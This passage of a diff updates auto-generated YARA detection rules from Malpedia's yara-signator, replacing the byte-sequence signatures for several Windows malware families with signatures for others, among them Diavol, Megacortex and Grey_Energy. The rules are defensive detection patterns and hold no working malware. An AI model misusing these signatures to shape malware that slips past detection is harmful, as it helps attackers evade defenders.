$sequence_17 = { 6a01 51 8b413c 8b440828 03c1 } + $sequence_18 = { 83c410 83f801 750e 57 ff15???????? 8bd8 } + $sequence_19 = { f9 a6 c3 4b fd 008d4556f400 08640f08 } + $sequence_20 = { 40 8945d0 8b45c0 83c008 8945c0 8b45b8 } + $sequence_21 = { 8b45a0 05c8d45566 7440 c745880a000000 eb07 8b4588 } + $sequence_22 = { 55 08709e 891f 3e50 } + $sequence_23 = { 2345e4 8945d8 c645f300 c645fc65 } + $sequence_24 = { a1???????? 8945b4 a1???????? 83c044 a3???????? } + $sequence_25 = { 8b45b4 83e803 8945b4 eb22 } + $sequence_26 = { 0305???????? a3???????? a1???????? 0faf45bc a3???????? ebc5 8365d400 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Webbytea_Auto : FILE +rule MALPEDIA_Win_Yokai_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "af3cfaf5-47ae-5df3-b1d3-9a9fcbf06c59" + id = "b04b80f2-53b4-5c24-9a48-b847d3a545be" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webbytea_auto.yar#L1-L110" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yokai" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yokai_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "f1288f1b53f639ade5d87a2ce49a70d5b29a0fbdd563d1f0066de9197507a949" + logic_hash = "caca021b644694d243a390b5d4a331d52bc15ed81e965c2661870a1fa9d1ad5a" score = 75 quality = 75 tags = "FILE" @@ -134594,32 +134340,32 @@ rule MALPEDIA_Win_Webbytea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8901 488d542430 488b4c2420 ff15???????? } - $sequence_1 = { 8901 488d542430 488b4c2420 ff15???????? 85c0 } - $sequence_2 = { ff15???????? 85c0 7422 41b904000000 } - $sequence_3 = { ff15???????? 85c0 7444 41b904000000 } - $sequence_4 = { c68424f000000043 c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 } - $sequence_5 = { ffc0 488b8c2488020000 8901 488d542430 488b4c2420 ff15???????? 85c0 } - $sequence_6 = { 4803c8 488bc1 48c744243000000000 c744242800000000 } - $sequence_7 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 c68424f500000065 } - $sequence_8 = { 8b00 ffc0 488b8c2488020000 8901 } - $sequence_9 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 } + $sequence_0 = { 83780400 7f5e 8b4d14 83790400 7514 8b5514 8b4208 } + $sequence_1 = { 8945fc 837dfc00 751e 8b55fc 8955b4 8d4df4 e8???????? } + $sequence_2 = { 8b4d24 51 6a00 6a7e 68???????? 68???????? 68???????? } + $sequence_3 = { c645ac4c c645ad6f c645ae61 c645af64 c645b04c c645b169 c645b262 } + $sequence_4 = { e8???????? 6a00 6a00 6a00 8d85a0fdffff 50 6a00 } + $sequence_5 = { 0345d4 a3???????? 8b4dec 8b15???????? 2b5114 8915???????? 8b450c } + $sequence_6 = { 8945c0 8b4dc0 898d70ffffff 8d9570ffffff 52 8d45d0 50 } + $sequence_7 = { 8a11 8855ff 8b45f8 8b480c 83c101 8b55f8 894a0c } + $sequence_8 = { 8d0c50 894df8 e8???????? c5fe7f4580 8b530c 2b55ec } + $sequence_9 = { ff15???????? 3bf4 e8???????? 50 a1???????? 83c004 50 } condition: - 7 of them and filesize < 552960 + 7 of them and filesize < 2066432 } -rule MALPEDIA_Win_Reactorbot_Auto : FILE +rule MALPEDIA_Win_Diavol_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1f9dea8e-61fb-5c9c-9443-ee6383884e21" + id = "bc879f2f-8309-5494-be6c-2895dcf861fb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reactorbot_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diavol_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "701fb8c7491a0d723c5845d4d6cce6ffa47155dd0df2cecad8bd6a0e42ab031b" + logic_hash = "46d9c76f218871fb04ea7d4fbbcd65e671198d70df944c765e3f433c4820310f" score = 75 quality = 75 tags = "FILE" @@ -134633,38 +134379,32 @@ rule MALPEDIA_Win_Reactorbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4804 894dfc 8b55fc a1???????? } - $sequence_1 = { c745e400000000 a1???????? 8945e0 8b4d08 } - $sequence_2 = { 50 ff15???????? 8b55f4 52 ff15???????? 8b45ec 8be5 } - $sequence_3 = { ff15???????? 8945f8 837df800 7449 8b55fc 52 } - $sequence_4 = { 8d8590fdffff 50 ff15???????? 8d8d90fdffff 51 } - $sequence_5 = { 8d9580f9ffff 52 ff15???????? 8945ec 837decff } - $sequence_6 = { a1???????? 8982b8000000 83c8ff 8be5 } - $sequence_7 = { 8b4508 50 6804010000 8d8d78f7ffff 51 e8???????? 8d9578f7ffff } - $sequence_8 = { 7402 eb0c c705????????b80b0000 eb0a c705????????e8030000 } - $sequence_9 = { ff15???????? e8???????? 833d????????00 7509 833d????????00 } - $sequence_10 = { 83c005 99 b905000000 f7f9 } - $sequence_11 = { 69c0b13a0200 99 83e203 03c2 } - $sequence_12 = { 6bc005 83e803 99 b999000000 f7f9 } - $sequence_13 = { 83e101 f7d9 81e12083b8ed 33c1 } - $sequence_14 = { 837c246000 0f8562010000 c744245400000000 c744247400100000 } - $sequence_15 = { 48837c245000 0f8417040000 4c8d0da2b30000 41b804000000 488d15ed7e0000 488b4c2450 } + $sequence_0 = { 8be5 5d c3 8d85c8fbffff 50 56 c785c8fbffff2c020000 } + $sequence_1 = { 3bc3 72d8 8d8da0fdffff 68???????? 51 68???????? 8bd1 } + $sequence_2 = { 83f8ff 752c 6a02 53 ff15???????? 53 ff15???????? } + $sequence_3 = { 8d740004 56 e8???????? 83c404 56 8d95f8fdffff } + $sequence_4 = { 0f84d4000000 6800040000 8d95f8f9ffff 6a00 52 } + $sequence_5 = { 668b08 83c002 6685c9 75f5 8dbdf4efffff 2bc2 83c7fe } + $sequence_6 = { 56 ff15???????? 57 e8???????? a1???????? 8b4dd0 8d1448 } + $sequence_7 = { 8b8d38c2ffff 8d953cc2ffff 52 8d8540c2ffff 6a00 50 } + $sequence_8 = { 8be5 5d c3 8d8405c0fbffff } + $sequence_9 = { 8be5 5d c3 b902000000 6a50 } condition: - 7 of them and filesize < 1032192 + 7 of them and filesize < 191488 } -rule MALPEDIA_Win_Phandoor_Auto : FILE +rule MALPEDIA_Win_Faketc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "155e4267-136b-55b4-90bd-1c218e8670a7" + id = "20700f38-ca76-52c3-a2fd-e577561f7238" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phandoor_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.faketc_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "527334a4bd04f39c9bfefa050c6438c0d4a556c8a31f02edf88789f46c6d4efd" + logic_hash = "88cb80bbffbb5dd33ed57d116a0c91ab50887b3cc89797bc963aaa34348dde48" score = 75 quality = 75 tags = "FILE" @@ -134678,38 +134418,32 @@ rule MALPEDIA_Win_Phandoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b36 e8???????? 83c404 eb25 e8???????? } - $sequence_1 = { ffd6 833d????????00 a3???????? 0f8482000000 833d????????00 7479 833d????????00 } - $sequence_2 = { 83c418 803f53 755f 807f015e } - $sequence_3 = { 8bd8 c1eb08 8bd1 895df8 8bd9 c1ea08 } - $sequence_4 = { 22da 22d9 8bc8 c1e910 224df8 } - $sequence_5 = { 890d???????? 8b96bc010000 8915???????? 33ff 399e90010000 763b } - $sequence_6 = { e8???????? 8b1d???????? 50 ffd3 8bf8 3bfe 8b35???????? } - $sequence_7 = { 0f8438010000 833d????????00 0f842b010000 833d????????00 0f841e010000 833d????????00 0f8411010000 } - $sequence_8 = { 741c 8b0d???????? 68???????? 51 c705????????04000000 } - $sequence_9 = { 83c404 8bf7 85ff 75e6 5f c7430800000000 } - $sequence_10 = { 43 84c0 7409 8803 } - $sequence_11 = { 6a03 d1ea 8d85e8efffff e8???????? } - $sequence_12 = { 741c 56 8b35???????? 3acb 740e } - $sequence_13 = { 3acb 740e 50 ffd6 } - $sequence_14 = { 6a03 d1ea 8bc3 e8???????? 8bc8 85c9 } - $sequence_15 = { 57 68???????? 50 c705????????03000000 ffd6 8b0d???????? 33ff } + $sequence_0 = { e8???????? bd01000000 89ac2460010000 84db 7405 c644246c01 097c2470 } + $sequence_1 = { c645fc10 e8???????? 83bdd0fdffff08 720f 8b95bcfdffff 52 e8???????? } + $sequence_2 = { e8???????? 83c41c c3 8b4c2424 5f 5e 5d } + $sequence_3 = { 8b91f0860000 83c201 8b81f4860000 83d000 8b4d08 8991f0860000 8981f4860000 } + $sequence_4 = { e8???????? 83c40c 85c0 740f 8b45f8 c74048ffffffff e9???????? } + $sequence_5 = { e8???????? 50 8d85b8060000 50 c645fc0c e8???????? 83c40c } + $sequence_6 = { c1ef10 c1ed18 330cad18d45f00 81e7ff000000 2b0cbd18d85f00 8b7808 33f1 } + $sequence_7 = { e8???????? 83c40c c744241401000000 89742418 c744241c00000000 83fe08 0f87c2010000 } + $sequence_8 = { e8???????? a1???????? 33c4 89842450010000 53 55 8bac2460010000 } + $sequence_9 = { e8???????? 83c408 85c0 7473 8b4df0 8b91a8020000 8b45f0 } condition: - 7 of them and filesize < 2124800 + 7 of them and filesize < 6864896 } -rule MALPEDIA_Win_Moriya_Auto : FILE +rule MALPEDIA_Win_Syscon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "59d11a0a-17d5-591e-bce9-2635239237cd" + id = "5a8ce706-db42-58e3-9d51-88fe0c5beb4f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moriya_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.syscon_auto.yar#L1-L167" license_url = "N/A" - logic_hash = "502cc93b2e63f3afc69dfd0a7f0cef3fdb24356c38e271e56341bfbf7336c1de" + logic_hash = "e30c1d08a4b5a8899edc4bd6891355bf1333e55e03f2135a162795fd594797ac" score = 75 quality = 75 tags = "FILE" @@ -134723,34 +134457,40 @@ rule MALPEDIA_Win_Moriya_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 4881c490000000 5b c3 4055 } - $sequence_1 = { 48833d????????00 7405 e8???????? 48833d????????00 7417 488d4dd0 ff15???????? } - $sequence_2 = { 488b9c2490000000 0f57c0 4d8bf0 488bea 0f1103 0f114310 48894320 } - $sequence_3 = { 66480f6ec2 0f16c0 0f1101 4c03c1 4883c110 4883e1f0 } - $sequence_4 = { 488945d8 488d442420 f30f7f45e4 c745e003500000 0f1005???????? } - $sequence_5 = { ff15???????? 488b0d???????? 488d842498000000 4889442430 33d2 48895c2428 } - $sequence_6 = { 488364243800 498bd8 488364245000 488bfa 488bf1 33d2 } - $sequence_7 = { 4881c490000000 5b c3 4055 53 56 57 } - $sequence_8 = { 4983f84f 7350 4d8bc8 4983e1f8 } - $sequence_9 = { 0f100d???????? 83a5a000000000 488d542460 488b0d???????? 4533c9 f30f7f45a0 } + $sequence_0 = { 33c4 898424d80b0000 53 56 } + $sequence_1 = { 47 83c604 897df8 80fb40 7412 8a55ff } + $sequence_2 = { 8d942414040000 68???????? 52 ff15???????? 83c40c 6a00 } + $sequence_3 = { 57 8bc6 e8???????? 83c408 56 } + $sequence_4 = { 68e8030000 ffd6 6a00 6a20 6a03 } + $sequence_5 = { a1???????? 68???????? 50 ff15???????? 85c0 0f846affffff } + $sequence_6 = { ff15???????? e9???????? 8b8c24e40b0000 5f } + $sequence_7 = { eb0c 53 68???????? ff15???????? 57 } + $sequence_8 = { 488d5590 488d0daa300000 448bc0 e8???????? 488d8d20040000 } + $sequence_9 = { e8???????? 488d0dab460000 ff15???????? 488d542420 488d0d99460000 } + $sequence_10 = { 498bcc ff15???????? 488bcf ff15???????? bf04010000 } + $sequence_11 = { 488d4c2440 448bc3 33d2 e8???????? 488d542440 b904010000 ff15???????? } + $sequence_12 = { 488d8d90050000 488d159e2f0000 ff15???????? 488d9590050000 488d8d60010000 e8???????? 488d8d60010000 } + $sequence_13 = { c705????????02000000 83f901 750a c705????????01000000 890d???????? 488b0d???????? 8915???????? } + $sequence_14 = { 488d0d07460000 448bc0 e8???????? 488d542420 } + $sequence_15 = { 89542420 4c8d442450 488d8d90050000 488d1514310000 } condition: - 7 of them and filesize < 99328 + 7 of them and filesize < 120832 } -rule MALPEDIA_Win_Dairy_Auto : FILE +rule MALPEDIA_Win_Oldbait_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8a558663-9225-5d4f-bf21-2e09f40cb6bc" + id = "3d100a63-9903-54ef-879e-2f52e4e2c1c3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dairy_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oldbait_auto.yar#L1-L229" license_url = "N/A" - logic_hash = "67b1fc4dc17bcf8b0cdf2ebf4577147bbf8e49b67379d73e95b1b4864059fa48" + logic_hash = "3c4b648b9be2acfeca2a30294d4a7ef92b56cb886b14af5b01f11170901c19b6" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -134762,34 +134502,48 @@ rule MALPEDIA_Win_Dairy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8bf2 57 81e607000080 7905 4e } - $sequence_1 = { 8d542410 8d442414 52 68ff030000 50 } - $sequence_2 = { 8bd1 83c9ff 50 f2ae 8bca } - $sequence_3 = { 8b44241c 57 8b3e ba2037efc6 8b08 8b4004 897c2418 } - $sequence_4 = { aa e8???????? 83c40c 83f8ff 0f8514ffffff e9???????? 6a10 } - $sequence_5 = { 7f3b ba27000000 2bd1 bf???????? 83c9ff } - $sequence_6 = { f2ae f7d1 2bf9 8d5c241c 8bf7 8be9 8bfb } - $sequence_7 = { c70701000000 e8???????? 83c404 894704 b801000000 5f 5e } - $sequence_8 = { f3a4 75cc 8d7c243c 83c9ff } - $sequence_9 = { 52 68???????? 50 e8???????? 83c410 85c0 7542 } + $sequence_0 = { 7409 43 83c104 83fb40 72f3 } + $sequence_1 = { 8b86f5b11800 8945cc 8b86fdb11800 8945bc } + $sequence_2 = { 05d4db1900 8945f4 ff35???????? ff75fc } + $sequence_3 = { 8d4b08 51 50 ff75e4 } + $sequence_4 = { 50 57 ff55e8 6800080000 ff750c } + $sequence_5 = { 3571281424 42 3bd6 894510 72da 8bc7 5f } + $sequence_6 = { 56 56 50 ff75ac } + $sequence_7 = { 6a00 6a01 6800000080 ff75f8 ff15???????? } + $sequence_8 = { 57 8b7d08 8d70ff 85f6 } + $sequence_9 = { 888800b01800 ebda 8b45fc 0531b11800 50 8b45f8 } + $sequence_10 = { 47 0504040000 83ff08 72f0 83ff08 0f83a6000000 } + $sequence_11 = { 6a40 6800300000 68d4fd1900 6a00 ff15???????? } + $sequence_12 = { 50 ff7508 ff55e0 ff7508 8d83fcf7ffff } + $sequence_13 = { 0f84d3010000 837d0800 0f84c9010000 837ddc0c 7518 } + $sequence_14 = { 7626 8b4510 8bca 83f101 83e107 d3e8 } + $sequence_15 = { 55 8bec 8b450c 56 33d2 57 8b7d08 } + $sequence_16 = { 8b45f8 301c07 41 47 3b4d10 } + $sequence_17 = { 50 8d45c4 50 68???????? ff35???????? ffd6 } + $sequence_18 = { ff55d8 8bd8 83fbff 752c 8d45c4 50 } + $sequence_19 = { 6a00 ff750c ff75fc ff55f0 } + $sequence_20 = { 6a64 50 6a01 6a00 } + $sequence_21 = { ffd6 ffd0 53 ff55e4 90 90 90 } + $sequence_22 = { 50 ff75e0 e8???????? 90 } + $sequence_23 = { 57 8d45ec 57 50 53 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Microcin_Auto : FILE +rule MALPEDIA_Win_Grey_Energy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dddf9fba-fce1-5368-9223-75a8c16c13ed" + id = "286c9a55-9cf0-55bb-80e0-2e0f311ee2a1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.microcin_auto.yar#L1-L452" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grey_energy_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "ab06ef293989aa12cd44a7f8f720c88cb322c4fba8d50dd4025a69de4fec24e0" + logic_hash = "b914dfed1e2f2f24a40105da213346dd87b255cf1b7c608a5613862d55be27f8" score = 75 - quality = 44 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -134801,72 +134555,38 @@ rule MALPEDIA_Win_Microcin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c7461401000000 4d8d8680000000 418900 4989b688000000 41c7868400000004000000 4533c9 } - $sequence_1 = { ff15???????? 488bcb 664489642438 488bf0 ff15???????? 0fb7cf } - $sequence_2 = { 897e04 5b 5f 5e 5d c20400 55 } - $sequence_3 = { 8d45ac 50 6801000080 ff15???????? } - $sequence_4 = { 85c0 7e18 80bc35a8feffff3a 741f 8d85a8feffff } - $sequence_5 = { ff15???????? 4863c8 c6840d8002000068 488d8d80020000 } - $sequence_6 = { 488b0d???????? ff15???????? 4885c0 742b 488b4018 } - $sequence_7 = { 4885c0 742b 488b4018 488b08 8b09 ff15???????? 488bf8 } - $sequence_8 = { 50 6805100000 68ffff0000 56 8b35???????? ffd6 } - $sequence_9 = { 8d85f8feffff 6804010000 50 ff15???????? 8d85f8feffff } - $sequence_10 = { ff15???????? 4863c8 807c0c5f5c 7413 488d4c2460 ff15???????? 4863c8 } - $sequence_11 = { ff15???????? 8b3d???????? 8d85e0feffff 50 } - $sequence_12 = { 33f6 50 ffd3 85c0 7e18 } - $sequence_13 = { 488b05???????? 4833c4 488985f0040000 4c8b3d???????? 4533c0 8bfa } - $sequence_14 = { 8b1d???????? 8d85a8feffff 50 ffd3 } - $sequence_15 = { 488b1d???????? 488903 48894308 488b0d???????? } - $sequence_16 = { 7647 498bcd e8???????? 4c8d05b7120100 41b903000000 488d4c45bc 488bc1 } - $sequence_17 = { 6828010000 8d85ccfeffff 6a00 50 } - $sequence_18 = { 488d0d950c0100 ff15???????? 4885c0 7419 } - $sequence_19 = { 7419 488d15730c0100 488bc8 ff15???????? } - $sequence_20 = { 7541 8b4df0 83c108 51 } - $sequence_21 = { 7370 696465726167656e 742e 657865 } - $sequence_22 = { 83ec08 894df8 c745fc00a40000 6a40 6800100000 } - $sequence_23 = { 53 53 56 43 } - $sequence_24 = { 498bd5 ff15???????? 418d7c24e7 85c0 752a 4c8d0502130100 8bd7 } - $sequence_25 = { 8b8c8d78feffff 890c90 ebc8 e9???????? 33c0 } - $sequence_26 = { c745f46d737664 c745ec5f6c6569 0fbe4dee 83c101 884dee c745f872742e64 } - $sequence_27 = { 8d8da0f4ffff e8???????? 8b8574dfffff 5e 8be5 } - $sequence_28 = { 8b4dfc 83c108 51 ff15???????? 8b4dfc } - $sequence_29 = { 4883ec20 8bd9 488d0d950c0100 ff15???????? } - $sequence_30 = { 8b4508 0fb608 81e107000080 7905 49 83c9f8 41 } - $sequence_31 = { e8???????? 85c0 751a 488d15f8110100 } - $sequence_32 = { e8???????? cc 4c8d056c120100 498bd4 488bcd } - $sequence_33 = { 83c208 52 ff15???????? 6a06 ff15???????? ebcd 8be5 } - $sequence_34 = { 726f 6e 6d 656e 7400 } - $sequence_35 = { fa fa fa fa fa } - $sequence_36 = { 4c8d0574130100 488bcd 418bd4 e8???????? 33c9 85c0 } - $sequence_37 = { 636373 7673 6873742e65 7865 } - $sequence_38 = { 660fd645ec 660fd645f4 3d89000000 0f87b2010000 0fb68030184000 ff2485d8174000 68???????? } - $sequence_39 = { 63f6 48 89d9 6a08 41 58 4f } - $sequence_40 = { 50 56 c785a4fcffff24020000 ff15???????? 85c0 7431 } - $sequence_41 = { 8d85f0feffff 6a00 50 e8???????? 83c408 8d95f0feffff } - $sequence_42 = { 680000cf00 68???????? 8d842480000000 50 6a00 ff15???????? } - $sequence_43 = { 68???????? e8???????? 8b7508 c7465cf8814000 } - $sequence_44 = { c785b4feffff00000000 ff15???????? 50 56 ff15???????? 85c0 7e0f } - $sequence_45 = { e8???????? 3d1f047008 754e 49 8b4d08 49 8b5510 } - $sequence_46 = { 7523 56 8d44245c 50 } - $sequence_47 = { 40 ebf8 55 8bec 8b450c } - $sequence_48 = { 8b4060 6a40 6800100000 680c200000 6a00 8945f8 } - $sequence_49 = { 7521 4c 89e1 33d2 41 b800800000 41 } + $sequence_0 = { 50 53 53 6800000008 57 } + $sequence_1 = { 6800000008 57 53 53 } + $sequence_2 = { 68???????? 8945cc e8???????? 68???????? 8945d4 } + $sequence_3 = { 8945d4 e8???????? 68???????? 8945d0 } + $sequence_4 = { 53 ff15???????? 8b75f8 85f6 } + $sequence_5 = { 8b45f8 0345ec 8808 eb10 } + $sequence_6 = { 8b45ec 8b55f8 66890c42 eb14 8b45ec 8b4df8 8b55f0 } + $sequence_7 = { 7507 33c0 e9???????? c745f004000000 } + $sequence_8 = { 8b4df8 8b55f0 8b7508 668b1456 66891441 } + $sequence_9 = { 8b4d08 0fb70c41 8b45f0 33d2 } + $sequence_10 = { 6a40 ff15???????? 8945f8 837df800 7507 33c0 } + $sequence_11 = { 8b4508 0345f0 0fbe08 8b45f0 } + $sequence_12 = { c60100 41 48 75f9 ff75f8 } + $sequence_13 = { ff5108 56 e9???????? 53 8d45cc 50 8d45c8 } + $sequence_14 = { 83ec18 57 33ff 897dfc 397d0c 0f86a5010000 } + $sequence_15 = { 51 e8???????? 85c0 0f84be000000 } condition: - 7 of them and filesize < 417792 + 7 of them and filesize < 303104 } -rule MALPEDIA_Win_Kdcsponge_Auto : FILE +rule MALPEDIA_Win_Unidentified_069_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "31a4aae6-c5e0-50ee-8647-19b734337847" + id = "afe1465e-cfb7-567e-8fc3-f22e1927c9fa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kdcsponge_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_069_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "797313fd55f6c292fca430846a21ff5b3c78f0f888b26a3429a3aef947194551" + logic_hash = "83336718c29f0a03822d261021a531779ab99e146839ff186b37823c6377f602" score = 75 quality = 75 tags = "FILE" @@ -134880,32 +134600,32 @@ rule MALPEDIA_Win_Kdcsponge_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 80fa01 751c 80bbc204000000 7709 80bbbc0400000f 740a c783a004000002000000 } - $sequence_1 = { 41b800100000 488d442440 48894c2448 4889442428 488d0d3bdd0200 4c89742420 ff15???????? } - $sequence_2 = { 894364 0fb601 488bcb ff14c2 83bb7804000010 750c d1bb44040000 } - $sequence_3 = { 754d 83ba4404000020 7c0f c7826004000004000000 8d4804 eb0f c7826004000002000000 } - $sequence_4 = { 4883c8ff 807c030100 488d4001 75f5 448d4801 } - $sequence_5 = { 7514 4183b85004000004 750a 4180b8a604000000 740a 488d4201 488b5c2408 } - $sequence_6 = { 0fb64101 c1e806 898348040000 83f803 0f84d6000000 488d8b10010000 c7436000001900 } - $sequence_7 = { 4053 4883ec20 80b9c304000001 488bd9 0f853d010000 80b9b004000001 0f850a020000 } - $sequence_8 = { b800001100 b900001400 0f44c1 894360 7507 c683c504000005 488d8b10010000 } - $sequence_9 = { e9???????? 33d2 418bcd 448d4201 e8???????? 488b542440 4c8d1ddb420100 } + $sequence_0 = { 8d4564 e8???????? 84c0 747b 807d6802 7558 } + $sequence_1 = { 3975fc 0f824dffffff 5f 5b 8b450c 5e c9 } + $sequence_2 = { ff15???????? 8b7d08 8b37 e8???????? 83f8ff 0f84a8010000 8b0d???????? } + $sequence_3 = { 8b75f4 f6450804 741a 85f6 7616 8b7d0c 8d4477fe } + $sequence_4 = { 7fae ff36 885dff ff15???????? 59 8a45ff 5f } + $sequence_5 = { 8bda d1eb 23df 8b1c9da81d4000 81e3ffffff01 03c0 } + $sequence_6 = { c20400 8b462c 85c0 7638 83f820 7411 57 } + $sequence_7 = { 7505 895dd8 eb11 0fb7c0 03c7 50 83c8ff } + $sequence_8 = { e8???????? 8bf8 85ff 0f8e97000000 8bca e8???????? } + $sequence_9 = { ff15???????? 85c0 7419 6a00 68???????? 6a05 ba???????? } condition: - 7 of them and filesize < 720896 + 7 of them and filesize < 434176 } -rule MALPEDIA_Win_Unidentified_118_Auto : FILE +rule MALPEDIA_Win_Megacortex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4400b473-0fbc-528a-90a2-ec9f1b80742d" + id = "208deefe-8484-5fed-92e0-3f970a206260" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_118" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_118_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.megacortex_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "d467c02dd84dc6cead16168800c63f7f296242b2a484c5237404056a67dd88cf" + logic_hash = "8fabc9945f7f432c61dd2181155b450bb3827a4277be45dd2f60b6e5a7f065dc" score = 75 quality = 75 tags = "FILE" @@ -134919,32 +134639,32 @@ rule MALPEDIA_Win_Unidentified_118_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f57c0 c60300 41b820000000 0f1101 4883611000 488bd6 4883611800 } - $sequence_1 = { e8???????? 84c0 7409 488933 c6430800 eb79 48b8e1e1e1e1e1e1e101 } - $sequence_2 = { 84c0 740c 817c243000400000 7502 } - $sequence_3 = { 488bc3 488b4d07 4833cc e8???????? 4881c4b8000000 415f 415e } - $sequence_4 = { 488b49f8 482bc1 4883c0f8 4883f81f 7721 e8???????? 8bc3 } - $sequence_5 = { 7747 e8???????? 660f6f05???????? f30f7f4527 c6451700 807de700 7409 } - $sequence_6 = { 0f45fd 488bce e8???????? 488b4c2430 e8???????? } - $sequence_7 = { 488d4c2460 ffd2 90 e9???????? 0f57c0 0f1145f0 0f57c9 } - $sequence_8 = { e8???????? 4c8b4c2450 4c8bc3 488bd7 488bce } - $sequence_9 = { 488b49f8 482bc1 4883c0f8 4883f81f 0f87d8000000 e8???????? 483bfe } + $sequence_0 = { 0f843e040000 53 ff75e4 e8???????? 83c408 8945e0 85c0 } + $sequence_1 = { ff75c8 50 e8???????? 83c40c eb03 8b45c8 8b75b8 } + $sequence_2 = { f7db 1bdb 23d8 8b4304 83c304 2bde 8d50ff } + $sequence_3 = { 83c408 8d75fc 8b10 8d4aff f7d9 1bc9 } + $sequence_4 = { c3 8bc7 c745f801000000 8d4dec c745fc01000000 